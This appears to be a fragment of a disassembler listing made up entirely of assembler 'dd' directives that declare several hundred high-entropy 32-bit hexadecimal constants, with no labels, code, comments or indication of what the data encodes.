		dd 18422978h, 1A1DF541h, 0BB665F00h, 5EB31B2Fh,	6B00551Dh
		dd 9F971D4h, 0A84C97CCh, 17E2DF46h, 2FF36D30h, 0DE894543h
		dd 1BCE371h, 6B2E4866h,	43EA8B3h, 0D5A49C24h, 0C5D59B86h
		dd 0E6AB41C4h, 32DCB4C8h, 0A0C402A2h, 40D9B2E4h, 84407177h
		dd 291CC5B5h, 829AA87Ah, 5D86CB80h, 2FFA7431h, 9CFC9C35h
		dd 8A7E0820h, 0FEE87CBDh, 4B45F1BFh, 7F2130D5h,	0F2745AA7h
		dd 0EFBB09FBh, 0BD5B788Bh, 46C15ECDh, 0BA2BF49Dh, 4A8DAC25h
		dd 9137A30h, 77F34130h,	0C7A46C7Bh, 837B12D6h, 58B0BA65h
		dd 44B009BBh, 6E79705Ch, 81BD0385h, 2B6FC9AFh, 15238A6Bh
		dd 53EA80Bh, 0E5EC518Eh, 0AB1974D2h, 0FDA45FB6h, 0BF938048h
		dd 5A337F37h, 0D0458C6Ah, 0F1994C00h, 0CCBC4AF6h, 51A00277h
		dd 909A6B59h, 381718h, 74F779E6h, 14BAA2C6h, 5BD0FD12h
		dd 2515A551h, 524EF520h, 0CC98634Bh, 59952A29h,	23DBBDA3h
		dd 9519F0C9h, 1DCE65Eh,	823285D7h, 7E8D897Ah, 962DFAA8h
		dd 0AD0031F1h, 32ABA2F1h, 53FB1238h, 0B0C5FF17h, 0D71D3430h
		dd 0BC71EC4h, 9A74AFA7h, 60539641h, 0D54888DDh,	0F75B5A61h
		dd 5851281h, 854B71F7h,	0D1A7AE40h, 0F2EB7BF0h,	0E6ABB725h
		dd 6C14976Fh, 5534796Bh, 7581D437h, 15ABBBB7h, 7B989D2Eh
		dd 0B48134DAh, 49820F78h, 44D5DAAEh, 0B3F84BAAh, 0EFF5A43h
		dd 0E3C08FA9h, 0C00DDB15h, 4F2B030Bh, 40535839h, 0C65E5B16h
		dd 25FBB764h, 807BAE66h, 97001D23h, 1FF0715h, 0EE1FEA3Fh
		dd 27E9257Fh, 0BFF67C5Eh, 8C1270ECh, 95873691h,	0E280C123h
		dd 59DE577Eh, 0BBB097D4h, 1B056BE8h, 96415DFDh,	0CAA08FFh
		dd 0C2A2FE25h, 49759501h, 0DB3B6A04h, 5D4CCBEEh, 7725C03Dh
		dd 0F951C8EAh, 278A0200h, 128507Fh, 0CE2B3463h,	40D06D1Ch
		dd 1A39CD8Dh, 78A17BB5h, 0B24C9190h, 25FD130Eh,	0D3DE8FFAh
		dd 5ED471BFh, 0DDFA21CEh, 0A7600301h, 7D023D72h, 891A83EEh
		dd 5675ED95h, 2544AF66h, 0D729854Ch, 0BB6640BFh, 2FB711E3h
		dd 0DF3412D6h, 0AB4EB0ABh, 7D5B8F25h, 803EA7E6h, 96CE6DDFh
		dd 0E72D522Bh, 60FAA0C5h, 25430293h, 9EB3C1B1h,	51F6537Fh
		dd 2F9B581Dh, 0ED4F1F00h, 77F89B82h, 30BE4EDCh,	85BD2B0Ch
		dd 88F8085Eh, 0A84AADB5h, 17FA7580h, 6FD1FF8Bh,	0BF140013h
		dd 0DB32345Ch, 7511BF50h, 2E58C44Ah, 0D3523000h, 730D342Dh
		dd 330604ADh, 0BC11FD07h, 2A4DA2C7h, 5C908CAh, 4D026A09h
		dd 0EE78C028h, 8305F2DEh, 0F88BB452h, 0E17F7EA5h, 7BAC3B29h
		dd 0AFD4ABA4h, 3860B6EFh, 4BE9C001h, 1043CE92h,	15F839D7h
		dd 4A37028Ch, 0A5BD3356h, 5BA5847Fh, 46F6EBBh, 8E601FBAh
		dd 4AA43BCh, 50F0B74Ch,	0B33431ABh, 0AE7B7E90h,	0EEFFAE00h
		dd 0A4F279FBh, 0F5BF0F27h, 0FA5C2CB2h, 9BBB1013h, 7CA6D692h
		dd 51537D01h, 3A7718AAh, 0DCA92D05h, 27F9ECA1h,	0EDB8C307h
		dd 655E6182h, 0C6D78161h, 7D3B71FCh, 0D0849F6Ah, 0A9B54223h
		dd 0B7F35F33h, 1669C978h, 12778DD9h, 2706E670h,	70C3C6F6h
		dd 8D2918B0h, 70E67D1Dh, 2540B5B4h, 1829467Ah, 32CFC9B0h
		dd 0E4245FFBh, 2D095C71h, 7399571Dh, 0DA2D52C9h, 423AF155h
		dd 0B7C82BB3h, 197ADDBh
		dd 81BD01BDh, 0BF5ECD6Bh, 2D0CA05Ch, 3377C82Bh,	0E17FA37h
		dd 0B5A2D1CFh, 0EE552471h, 0CD9D3D72h, 13E05AC2h, 2BB3A949h
		dd 81FB66Bh, 0AE31C5F7h, 5D6E40AEh, 0B93D27F4h,	0A844029Eh
		dd 5CF5F839h, 21491B8h,	5BDD8A57h, 7390D7F9h, 18978B0Fh
		dd 9DE50971h, 0D025277Bh, 1C74971Dh, 0E9E4115Bh, 0CCDA2533h
		dd 0FB8995C0h, 2D6B6A88h, 3C6CDF56h, 0A21A4B21h, 0B47B8487h
		dd 1B233Eh, 565B97F9h, 47121DC2h, 719B6A9Ch, 315863C0h
		dd 8B4E2CADh, 0FA408EA2h, 0ED025A95h, 0F98BC64Dh, 0A452028h
		dd 920B925h, 943C375Ch,	0DF25A005h, 95299CC0h, 77C96949h
		dd 34B2A4A3h, 9DDFB8D5h, 12C49419h, 0E496B7BAh,	502DF7BBh
		dd 0F6A4C160h, 89819D25h, 0DA585EC9h, 8640A8EDh, 2FBDB3Bh
		dd 1F0601D4h, 375546DCh, 8EAD07AAh, 0CDC920D6h,	8A25D880h
		dd 9FBDC6FAh, 0F557F390h, 95015F05h, 0DBEE33E9h, 0BFA6D291h
		dd 43A6C12h, 1225971h, 29259D03h, 4051F72Ah, 2D5EADA5h
		dd 5ABF6FECh, 919B498h,	0CE2C63A0h, 46030375h, 0D381E030h
		dd 328612A2h, 17081615h, 57060BA4h, 42D7C209h, 59D056E4h
		dd 0A1E72F79h, 0F5D510B7h, 0E99408A3h, 0D6DC4F40h, 7D3D005Ch
		dd 0FC786CCDh, 4D4888FDh, 0CDFFD771h, 0D8322B21h, 81DD5EB5h
		dd 0FFE5C380h, 0B81B6DE1h, 6C6501C5h, 0D9BD89D0h, 25D3480Fh
		dd 7FA3234Bh, 4FD74A8Bh, 0C5BD4013h, 2F133949h,	2149E093h
		dd 469C572Bh, 74043025h, 7D4BF4D6h, 0D13A07CAh,	0A0FFE75Eh
		dd 1F7E1C51h, 52B639CEh, 1179055Eh, 0DFA7BE1Ah,	437616A0h
		dd 17F5E02h, 0D8A423BFh, 0C4D04BCFh, 8093EC2Fh,	0DEEDB39Eh
		dd 958D0E37h, 0AA2B4076h, 39099F5Eh, 25187857h,	4B5EDE8Ah
		dd 0C0ACCDE9h, 60439D8Fh, 0B79EBDB1h, 14507B41h, 0F0F46113h
		dd 550A2D01h, 0D1BD84F0h, 24354999h, 4E5D108Dh,	0E279996Bh
		dd 892D2071h, 8B7A8B5Fh, 92ED5749h, 55A912E0h, 0F8DA3EC2h
		dd 0EB7F5797h, 0F2EA5465h, 68610482h, 0F4C7355Dh, 8AFB8895h
		dd 9CD400C3h, 7DCA1BC2h, 0B9F70224h, 9AC3134Eh,	0A203F754h
		dd 0B86AEB36h, 2D0A95DFh, 0CF5E2ABBh, 5640F4C8h, 113B1E7h
		dd 0B365D24Ch, 2ECC7D62h, 0D9AE9F13h, 12FC3E30h, 2BF1E9B1h
		dd 6F046BBDh, 0AF7DB71Eh, 67807D2Ah, 0F16BEEAFh, 17BF302Eh
		dd 71F9B509h, 57604237h, 0D2549F8Bh, 57615889h,	18915BB5h
		dd 2C590880h, 1897667Ch, 90F8562Ch, 0BA9577B2h,	0B63BED45h
		dd 1B52F005h, 889C257Ah, 50532C1h, 6E67C8C5h, 0E83EBF91h
		dd 0AD33122Eh, 1254B868h, 13960248h, 5D28FE27h,	15E9002Bh
		dd 9160C899h, 0F0120BA2h, 1C9505Bh, 9DC74FF8h, 9209866Bh
		dd 0FD5BAE7Ah, 0F5CB706Dh, 0C1B0F54Ch, 0A77BE145h, 86CB0035h
		dd 0B84F68EEh, 8A9D12FDh, 47FBCDCh, 62214BB0h, 5E1D6EFBh
		dd 0ACA425ECh, 0B9BD83B1h, 36DD9134h, 6830BF2Fh, 9A00CBAh
		dd 601AEE9Ch, 63447901h, 0B501DC21h, 61F86895h,	5D8DF05Bh
		dd 0B94E4B79h, 8C1AAC7Fh, 2AAF53Fh, 9570F6A7h, 85434057h
		dd 7E2041EDh, 0DA6A8005h, 8CD557AFh, 0A71CFC39h, 3B80F5FEh
		dd 0BE833E13h, 2277B42h, 0A8B302A3h, 0D2E0905Fh, 0EE951989h
		dd 305EB0CAh, 81D90821h, 471685C7h, 0E8BC4D6Fh,	1613FCE5h
		dd 4BC2AB5h, 0B8746E3h,	805837FFh, 5B7D2CCh, 3DBD3DE9h
		dd 29648AACh, 0E62812CAh, 1423EAB1h, 0D88AA800h, 5F71BD33h
		dd 0A0C0E71Eh, 7EE4CC7Bh, 0EAF25B2Eh, 0E9D6B128h, 0A008A72Fh
		dd 23B28D8h, 3F909495h,	1D45F8AAh, 5703A589h, 5212D7BDh
		dd 26E17104h, 5AD191E4h, 0B52ABB2Dh, 0CE187BCBh, 0BB011240h
		dd 3D3EA524h, 0B3E47F97h, 0B93BE5EFh, 5C2DA988h, 3557028Bh
		dd 9284A37Ah, 0C512BB64h, 0DAD2BDB9h, 35DE8028h, 2319EA4h
		dd 37662C3Bh, 7C606025h, 63822EC1h, 24926Dh, 8B519661h
		dd 4A2EFA58h, 0BF9720FEh, 3A12BE30h, 0B4F6966Fh, 505D77E2h
		dd 564F2FBFh, 0BD4F187Dh, 5DF4AADDh, 54F8127Bh,	0FA9FA14Dh
		dd 9F47AD6Fh, 5EA578E6h, 55005557h, 49CC4E28h, 0A250972h
		dd 3A5D2491h, 4040ED4Ch, 0D087527Ch, 0EF54F302h, 5EF5E28Ah
		dd 0EADAC55Dh, 0C70980A6h, 2D787C40h, 33B198A0h, 2050F1C2h
		dd 57B292E9h, 0F52D7B79h, 6DBD4718h, 99F1942h, 0D5F1FDB5h
		dd 0CEFC8A0Ah, 0F93761CEh, 0F62A3E84h, 301DB294h, 0EB392BFFh
		dd 44FB0202h, 0D56C18E9h, 5FDDB390h, 62614500h,	52A83713h
		dd 0E1DF167Bh, 0D8ED0046h, 5F0B04D9h, 51A1BB00h, 0B35061B4h
		dd 0C1099772h, 3570915Bh, 0FD2C17C8h, 5F6E02F8h, 0E0D560BEh
		dd 85266527h, 29BB6602h, 0F1DA5C83h, 0A7CC6F5Fh, 7BFC8118h
		dd 4E3DA1A3h, 39C8017Ch, 0FAB66D8h, 33A26E89h, 0EF75EC89h
		dd 7B88AFC9h, 78CAA381h, 8B003AB9h, 0A9E54939h,	97F598E6h
		dd 0F7A73C7Eh, 0B000FC3Dh, 1660179Fh, 253390C2h, 5EE2625h
		dd 7F47BB05h, 382057E4h, 4F658D09h, 897BB203h, 0F16DFDD9h
		dd 25E3EC4Bh, 1A77C248h, 0ED3FC0F9h, 1F9C9710h,	36212045h
		dd 0D353AC3Bh, 0D19D00EAh, 61F5D7B5h, 46C40B97h, 99C19D1Ah
		dd 0ACA37B0Dh, 19B92CD8h, 97C1E980h, 0DBB7A709h, 7E39C680h
		dd 6EC042C1h, 6FD35C6Eh, 40BF4F7Bh, 16858362h, 0AAC5FDDDh
		dd 2CEB2865h, 541AD2Ah,	0C360202Eh, 4200A032h, 0DD6FD429h
		dd 4A27525Ch, 28C4BA37h, 0B72F9C40h, 0EEBAB25Eh, 75A338C6h
		dd 4A20AE4Ah, 4B730F9h,	5E3DAF0Ch, 432A8271h, 15557B75h
		dd 5A27B0E5h, 0D06031F6h, 73F123Eh, 8B3034FFh, 2925198Dh
		dd 8002AC5Bh, 75FDC3ECh, 76AC3D6Ah, 8B669380h, 0EB815FD0h
		dd 863E4D7Bh, 59BB5A18h, 0C44818A9h, 660F5522h,	40A38BBAh
		dd 0F81405C3h, 0B2534A0Dh, 6C3DB7h, 0A2F06B9Fh,	2749A834h
		dd 0DEDCC586h, 48F5F00h, 1725B906h, 302B4FE0h, 1ECF5C5Bh
		dd 49F7B400h, 78E6C7Bh,	47F0AEh, 0BF9EE881h, 85013234h
		dd 9708F131h, 199D9AC0h, 14F8D6F9h, 0F0D2654h, 0DC0A7A85h
		dd 0E001E14Ah, 9B628070h, 0A0DC9060h, 0F5521CE3h, 10298039h
		dd 0CB1365C6h, 15ECC500h, 9679F9BBh, 0F45FEC30h, 0EB074E0h
		dd 853A4490h, 0E1781198h, 0DC3819C1h, 58B0B521h, 983247E2h
		dd 0C03ADD06h, 731A2E4h, 9C01979Fh, 9A327393h, 8DB125D9h
		dd 48BB6418h, 0A007C1E6h, 6948308Ch, 0A90F1B39h, 80C1E53Ah
		dd 209365C5h, 476E00EDh, 25E8B731h, 7400CE5Ah, 0B0016B96h
		dd 6E27619h, 0B5E6A561h, 0EA73B157h, 30B3EC18h,	83714E20h
		dd 6998AFC0h, 99FD4605h, 18AEB6F5h, 33E0D9ECh, 0C994240Ch
		dd 180111C4h, 8C04DCEBh, 0B1669139h, 0F208C019h, 531F06E4h
		dd 512D6E64h, 83D5E1C8h, 0EA55E576h, 48D7C800h,	0B52A0783h
		dd 0A11514B0h, 1D00C408h, 0A8D26D66h, 3019AFE6h, 1908E0FAh
		dd 0C069EEF0h, 1D333BB8h, 0A93C7D6Eh, 31E450AAh, 0E158EB60h
		dd 14E90CD9h, 8CD8021Dh, 596DE306h, 0C79090A1h,	18B5AE31h
		dd 82021C8h, 37B1714Ah,	0F9E478h, 69EA230Bh, 94840503h
		dd 0A383F561h, 222100F4h, 6C352303h, 41F52566h,	5C1F62Ch
		dd 90C81822h, 7F11A8ECh, 27B7004Eh, 24D63057h, 0B36E619Fh
		dd 0EABB0321h, 0BEFA30DFh, 0E22D6A50h, 46F0D441h, 18926029h
		dd 993790C9h, 7FEC6354h, 10A3EF02h, 40050CE9h, 0E804D442h
		dd 0A621C07Bh, 0F53CA3E7h, 0BF47F400h, 0ED6DCC39h, 1E2D1AE8h
		dd 800060B8h, 0DF02255Eh, 71002492h, 24D8844Bh,	0F63F1Dh
		dd 0B785C99Ch, 614D0FACh
		dd 253D5600h, 0D2C8FC1Eh, 4BF30098h, 45A9B222h,	0EF00EB86h
		dd 60A262Eh, 0B67859h, 0CD2E552h, 67BA8E01h, 1DD53E38h
		dd 3CC0D42Fh, 0D7F66843h, 6B90E5h, 0A44E535Ch, 62501DF1h
		dd 0F340D007h, 0E9D0B143h, 923C2Bh, 689A9580h, 8660B4A8h
		dd 0D21EC879h, 54C03FC0h, 6B0DDB89h, 0F88CFE76h, 8E9801A4h
		dd 2C3F52DFh, 2D60E81Ah, 8D9F9100h, 0E30B5FB4h,	0E1B21CDCh
		dd 473D00E9h, 0D4534F5Ah, 1885D303h, 0A01F7D0Dh, 773BD5BAh
		dd 0A5300163h, 9CD1DE64h, 3308985Ch, 6B5E21h, 7BD93D7Dh
		dd 0ADA78475h, 30DE2E03h, 0E95A431Eh, 2C4BCF3Fh, 370063DEh
		dd 0A8457EC1h, 0BC963E2Bh, 0C9181B00h, 3EDF124Ch, 2D209A07h
		dd 11885C0h, 0A26E1BFFh, 28BCD8h, 17DB79B5h, 193C905Eh
		dd 86056BEh, 132180EFh,	0E2DDB72h, 864B0021h, 77330A49h
		dd 58C61FBEh, 2068F645h, 81C02CE2h, 0A5A4F5BAh,	0E8B9634Ah
		dd 0B99E5BC9h, 1B797B00h, 0E5C5D18Ch, 72213EE1h, 37E4272Ch
		dd 1438E020h, 91017698h, 991FB10Dh, 25D1B0FDh, 980C5A10h
		dd 8A23FC00h, 8B9B8E34h, 4E4100F7h, 0E5DE5620h,	0B10D8CAFh
		dd 61E2BBD1h, 0E839108Ch, 79009370h, 0A34F1080h, 58E2CCh
		dd 0A2F4E47Eh, 4016DC3Ch, 5C50D900h, 0A42D6FF2h, 1D700082h
		dd 0EE0313Eh, 0BF0FDD22h, 83340B63h, 46B6B5A6h,	22C30411h
		dd 1000BCC9h, 4411D25Eh, 1F8C991Eh, 81CA5D7Fh, 0D3A0163Bh
		dd 26E4F465h, 89885200h, 0D0AAD6F9h, 0E38E004Dh, 0AFD20607h
		dd 97243AC3h, 3CF3EAh, 8F1C5BA3h, 7C28FADCh, 7A71B5h, 0E3B018CCh
		dd 67DD566Ch, 0D04C3900h, 0BC2B5CE2h, 636800BFh, 0C88A1175h
		dd 7B7ECF4Dh, 0A1E57300h, 8C157CEh, 0BDEC0051h,	60ED76FAh
		dd 5930D3ADh, 0F235498Eh, 6320FDCh, 5DA0080Ah, 2C33C685h
		dd 39B88B1Dh, 9A10A040h, 0FEAA0Fh, 891AE9ADh, 0B2DE08AEh
		dd 0BD333F07h, 0B4113EABh, 58F45C73h, 19F1CA9h,	51D4580Bh
		dd 0E2EF192h, 2B00AA3Bh, 0BC8F9A45h, 0BD371EAEh, 6D808669h
		dd 8D00714Ch, 4B1C6643h, 8F8C6h, 0A37EB94Fh, 333A030Fh
		dd 0A79DCD0Fh, 679E8084h, 5FBACBAh, 4869AB77h, 49D44F2Eh
		dd 131D44E0h, 59C06C0Fh, 824EF070h, 0A47DD9h, 1814BA04h
		dd 5CCE888Ah, 5D634505h, 0F44034E7h, 0D0F6F744h, 47A50010h
		dd 0EA65B835h, 8201807Ch, 0CD7B87EEh, 6CAD4917h, 80A81108h
		dd 63D28BB7h, 0E00023EEh, 0A77A67Ah, 7D8E80Eh, 0B20C032Ah
		dd 85F7132Bh, 4A2C9900h, 0FED44E51h, 0CA7D0081h, 9F5E276Fh
		dd 78F839F7h, 443A610Fh, 9075207Ah, 0B35C05h, 0F68CE79Ch
		dd 0E32DC31Ah, 806CAC3Eh, 74AAD23h, 16EE679h, 0CE08A59Bh
		dd 0F0946AB2h, 5C50F52Ah, 522E7FC8h, 11303E3Ch,	5B628Fh
		dd 0DB8A20Bh, 0E6BFAFF7h, 6880C00h, 7163A0D1h, 4B20028h
		dd 4B6E0F33h, 8892877Bh, 9613D51Ch, 0DC528AC3h,	3216C029h
		dd 0E7300A0h, 8DA8E23h,	27E21258h, 0A8B08039h, 78C0EC17h
		dd 9F4E5D7Eh, 0FED80687h, 1809CFFFh, 25F59600h,	33BC9C67h
		dd 7DF8F9D2h, 1FDC074Ch, 11CB3489h, 60A23BEFh, 0F60060D9h
		dd 962C4785h, 0EE8F2579h, 0F7552E62h, 0CB330044h, 520F38B4h
		dd 9B54E400h, 10A769EFh, 1DB503F1h, 0A08D70AFh,	0CB5EE9B0h
		dd 0E54F9309h, 54040762h, 201C4560h, 7AF52CE1h,	0CDA5008Bh
		dd 39E4C24Ah, 33E60400h, 0E775A24Dh, 840D048Bh,	80AE7029h
		dd 0B1017E94h, 0D5E46F18h, 40C17C58h, 4F008D63h, 0D2151F42h
		dd 189B0A9Dh, 39413CDAh, 2C006138h, 0A636A1C3h,	1F0F89E5h
		dd 40AFBD8Eh, 63D9B1A8h, 6D3BFD9Ah, 68DC80F8h, 0BF8F1EDFh
		dd 4E380970h, 38A096B7h, 99C8246Dh, 0A80DB309h,	73E020F4h
		dd 18C61A4h, 14C6B44Dh,	0C0E5B2FAh, 797EEEC2h, 3B7EF0C0h
		dd 738CAD36h, 0BE2A00C3h, 0BC5CDB94h, 7200716Eh, 367EE055h
		dd 0D564B3h, 0DC97DAB7h, 0D15F3E39h, 0BE4B5700h, 7A100C9Ch
		dd 0FDFF0076h, 0AD24EA27h, 7C00EC86h, 4F3D5061h, 0F3B6939h
		dd 759AE9AAh, 630DCE40h, 6D005E3Eh, 8E2852F1h, 0BBB591h
		dd 2743C72Dh, 5B8B09E4h, 1E00D492h, 6E96C160h, 0C0A9E6CBh
		dd 9BC783D0h, 4E00BC1Ah, 9C814F39h, 84A1Dh, 451FAE8Eh
		dd 6F013AD3h, 0FF03F97Fh, 2671F761h, 88AF90E8h,	1870F6B6h
		dd 80D2037Bh, 892FA99h,	0FD169A0Eh, 2BF30088h, 0FDE8D95h
		dd 72F5D907h, 0ED529Fh,	0B7946A8h, 6601CE55h, 9E925175h
		dd 0F8200CADh, 834C00B3h, 0A944F5A6h, 0AF757C1Ch, 2F506000h
		dd 2BB33A5Ah, 4CDD015Eh, 12C9EED3h, 33189FC1h, 0A0CD68Bh
		dd 0C080BC1Bh, 806C761h, 692F2CF6h, 0A7C4011Ch,	0C445AF31h
		dd 0FB7F6AB0h, 99F0CC02h, 581E14BEh, 569E0055h,	2680748Ch
		dd 890E6F65h, 0E1582EA4h, 0DC9872E2h, 0AF8EE4h,	8DDBA801h
		dd 20AB28C3h, 47D64001h, 791348E8h, 38D1288Bh, 7685D00h
		dd 0D0077A92h, 3A0EBD82h, 0EA165BF0h, 36F67Bh, 5667BEBFh
		dd 4113C052h, 931ADB00h, 0E4C86154h, 0CCD400A9h, 0F479400Eh
		dd 0A00BD24h, 942DB3CAh, 344596Ch, 906FB7D6h, 91801601h
		dd 660EA3BEh, 733960F3h, 7C008052h, 6AFED27Ch, 94E709A2h
		dd 8C00A5E5h, 73E350DCh, 4FF64401h, 70DEFA01h, 3B8D6AD8h
		dd 3401DB63h, 6E24395Ch, 0E4E770E9h, 22BABB00h,	0E0308976h
		dd 0EB3400BCh, 326FF157h, 1A0FE758h, 7FF22733h,	255C70C7h
		dd 0A0248C03h, 4C6BA5h,	816F11C2h, 0E841631Dh, 37AD1A03h
		dd 0EB404BA9h, 3829A817h, 53A300FCh, 3A849DABh,	0EFFAC2EAh
		dd 0AECBB000h, 4FC33063h, 83710AC9h, 81FC1B5Eh,	19450544h
		dd 0D1206498h, 8884E303h, 985A5EB9h, 1680E6h, 2BAAC487h
		dd 1E99FAADh, 7FED9E00h, 9CD77809h, 0C8930219h,	0D1AA0375h
		dd 0E880882h, 35A0CCC0h, 1CB3A701h, 8C8A0949h, 0B67874h
		dd 4D07513Eh, 4FCF4EECh, 0D0D4C9F9h, 432EE49Bh,	498094CAh
		dd 0F2846FA3h, 82871DDBh, 0E68B01D2h, 0E163C003h, 0A374F0CAh
		dd 3629C100h, 24411F9Eh, 37E100ABh, 0D2A789DDh,	9F009255h
		dd 0C27FF648h, 0A046E4DBh, 600C2E30h, 4F48906Dh, 88C049E7h
		dd 0EC0E1E07h, 610F450h, 0DBDA806Bh, 6FE438EEh,	491BE71Fh
		dd 688B8A4Ah, 7304005h,	0E284AC46h, 0FA2C3AB0h,	8A888600h
		dd 0E3230CBCh, 8762B63Eh, 83C05BD0h, 88B3FF80h,	1D5E009Dh
		dd 4502AA73h, 7C00C905h, 0EB3A2B62h, 0A5C072h, 60A2CDB5h
		dd 0DCA879C4h, 13C1A000h, 0F36CA31Ah, 260C0196h, 75D32EAh
		dd 7AD8C4A1h, 2D04BF1Dh, 0A002C64Eh, 2338DADEh,	0E60A3FDFh
		dd 0EFA9811h, 8028EB0Bh, 6C7D4B45h, 1CA29016h, 0DC2BDF8Bh
		dd 0D17BCFEEh, 0F04418D8h, 0D8386E01h, 49862C69h, 0FBC385E0h
		dd 0ED7388E0h, 32BF418Fh, 4361DFECh, 0DB173D00h, 7E73B9D0h
		dd 752744Bh, 620FCC11h,	40C58096h, 0A54AF05h, 706F25A8h
		dd 0B881F028h, 40105485h, 0C0B30690h, 78CA7937h, 0EFC37600h
		dd 1CD1D0F1h, 19F90BC6h, 4506CB07h, 0D64176F0h,	9890DB69h
		dd 5B2C8111h, 0C08691E9h, 21FF2F3Eh, 1D445C85h,	1E470C4Eh
		dd 0D57D6007h, 6B093541h, 20A976F8h, 0C4A3BF34h, 62F30736h
		dd 42AD4BFCh, 0B380B52Ch, 0CC83380h, 0F8B1E160h, 0E3A4598h
		dd 0B5EFA08Bh, 801004A4h, 35771956h, 80C51C6h, 0A9340731h
		dd 0C02CEE01h, 0B536EAC2h, 0D062B200h, 0C47B87C9h, 23C7320Eh
		dd 46208278h, 910CD24h,	88427C13h, 737E6801h, 44E98254h
		dd 8F0759B8h
		dd 0EEFB6098h, 7E19348h, 0C8222482h, 8E5BC0F0h,	71E2A3Fh
		dd 3858C30Fh, 287B7E79h, 44247491h, 8500E03Ah, 41060C3Fh
		dd 0C0010B88h, 15D46EC1h, 0D6005E28h, 9F99FC1Ch, 95EC18h
		dd 53FEF47h, 0B9F18137h, 538430DCh, 0C089C02Eh,	5F69DCh
		dd 0B2D048D4h, 36129F46h, 0BF3B9224h, 0D1C3CF00h, 74F3411Ah
		dd 0A9553EA8h, 5952A403h, 29E00F3Eh, 7C06B774h,	0A89808Ch
		dd 80E4F078h, 3C00BC45h, 1C9637A5h, 4CC15Ch, 0B9DB1360h
		dd 0ADF71FE4h, 4F9FA703h, 11E6EC6Dh, 50F34719h,	0D8A87013h
		dd 8D1D8A89h, 0B10E7F35h, 0B52B4077h, 8868F0C2h, 0F1245BE2h
		dd 7F00443Eh, 0B87ADA85h, 78B000FDh, 0F5F4F256h, 0CA0C5E5Dh
		dd 207FB7F3h, 0DC460F39h, 2403B820h, 1978FFE8h,	113B3800h
		dd 0D8F9B76Eh, 837C1Eh,	0F532C2F7h, 0F303DE0Ch,	0ED0E44E2h
		dd 0B257A1h, 0FB087A9Bh, 0C3E8B0E3h, 0AC388310h, 0B11CF588h
		dd 6329C560h, 0D3E4EBh,	6F2384AEh, 80E7D919h, 0A1BF3F00h
		dd 0B3F1D4CCh, 0A85A30BDh, 1117148h, 7AFDC0FFh,	0FF417C00h
		dd 78C418FCh, 3A7F7739h, 0CA0CAA9Ch, 21C1A8E7h,	12284D01h
		dd 96385A5h, 3600E0BEh,	9953B24Fh, 0C56FE868h, 96409DE8h
		dd 283F5DE9h, 9A9006Dh,	66CACE94h, 0D55C5A7Ch, 1C601C8h
		dd 15CFEF44h, 8123E4h, 0AB7AD9F5h, 29E19865h, 9C47AF17h
		dd 0EB7D8801h, 0D5F04B97h, 73011E13h, 0CF538FBDh, 0DB2A06FEh
		dd 0A0018D3h, 0AFF77C2Eh, 380E4507h, 0FF83B615h, 0C76C1ED7h
		dd 5DB4C8A8h, 0EA032A00h, 2ECB97DAh, 84D31711h,	0DE3000F6h
		dd 91D61C2Bh, 6AF08C76h, 5D25B201h, 0CEEC8588h,	0A0E84880h
		dd 0C4FE9517h, 8A461C03h, 0E8683AABh, 304062BDh, 0F008BC7Ch
		dd 5B002813h, 0CEFEEF84h, 22A068h, 6C3F380h, 4A99044h
		dd 0A1325E1Ch, 4CF01994h, 0ECF3007Bh, 6F30CEB7h, 3EA000D5h
		dd 1650213h, 64606D5Dh,	2E2B7A21h, 9B330055h, 1BD34E5Bh
		dd 17003ED9h, 8F2F62D0h, 1450E94Fh, 94AB82F5h, 9C0117h
		dd 29DDBF7Fh, 0A901917Fh, 0AAE8C5ECh, 82603BBEh, 25B106C9h
		dd 69F5D231h, 5F71B807h, 0D8E08872h, 0E5C49961h, 0C3BDF4h
		dd 2E045580h, 0E6F3B09Fh, 0AC7E6803h, 3DC67024h, 0C0824A70h
		dd 0E5770FDFh, 397BFAC0h, 2518B500h, 0F9FA4164h, 0A2400A1h
		dd 0B48BCCE1h, 1A00A997h, 0E7C87069h, 0FC6F15CEh, 2D7D9Dh
		dd 0A0CFF039h, 3528ED6h, 87D96400h, 0C57271C3h,	3EA79FCh
		dd 5C2B297Ah, 0EDAB17E0h, 81EB33E0h, 0DD31077Dh, 0F225A066h
		dd 0B9008855h, 8212E0BDh, 0DEC300E2h, 3B6BB0FBh, 1900FCAAh
		dd 0D4D28780h, 5AB2Dh, 214AEB27h, 1F5F57BEh, 7452C000h
		dd 306B897Fh, 0A1C61FA6h, 49188E20h, 0E9FC02F3h, 58435E14h
		dd 10D0F4F0h, 8D633907h, 914066B6h, 98A553h, 9F56E208h
		dd 45EEA7BFh, 738C5B38h, 545C7000h, 0C47C0F04h,	564B002Eh
		dd 41930A9Ah, 0CF073096h, 0FF58CC62h, 0A07C3500h, 14ED07D2h
		dd 5ED0439Eh, 0FB610E96h, 86786AE0h, 8700029Bh,	393E647Fh
		dd 3E10D86Fh, 0F69D663Ch, 887BC3ECh, 5800E309h,	5E3F9CB6h
		dd 0E3E92B74h, 0F91FC906h, 0C9C1386Ch, 77A2B78Ch, 0A903C06Eh
		dd 4805DB06h, 53E42063h, 6D599001h, 0F8FB4CC8h,	0EA7D16h
		dd 32F8AF7Ch, 123F9DDEh, 809F8E01h, 0C257A40Dh,	0B0FB60D8h
		dd 2F7A00B4h, 7C11083Ch, 0C50EDE06h, 874FE65Dh,	5460383Fh
		dd 479AB9Dh, 2C3D140h, 0A443C0C2h, 0DF2673Dh, 1A623801h
		dd 2AE2CFE6h, 99944080h, 32B4F94Ch, 68F60F00h, 3B704905h
		dd 0FC270F5Bh, 0DC208A8Fh, 0D7442985h, 0E3C65013h, 0F802A60Ch
		dd 75B40EEFh, 9120561Dh, 7D4A5A3Bh, 8DBDA8C0h, 1E47D762h
		dd 870AFF34h, 605E6A5Dh, 3FFBC5DDh, 0FC6B38h, 3CC7BCEFh
		dd 90B1A3D1h, 2C2C4930h, 31789709h, 0B61B6000h,	5092BD38h
		dd 7717601h, 57937367h,	1237C820h, 185AF8D7h, 0C15F1111h
		dd 94877301h, 0A36EF4D1h, 4CDC24h, 4D5C93D5h, 0D451168Dh
		dd 0B0777D26h, 6ED9CA00h, 5420F3ADh, 34EC4Ch, 0BD71CF44h
		dd 240DB6D5h, 261C2E00h, 0F331B06Ah, 9FB700BAh,	4FC32B44h
		dd 7800E1A5h, 302E7FF5h, 0A717B9Ah, 1282DB58h, 2A640090h
		dd 0E36AA884h, 0CCF23300h, 8DE1CA5Bh, 73B700DEh, 0AF2E4255h
		dd 0E3EA06Dh, 821D80C9h, 0D4E8F6EEh, 0A473005Fh, 4C2D39BCh
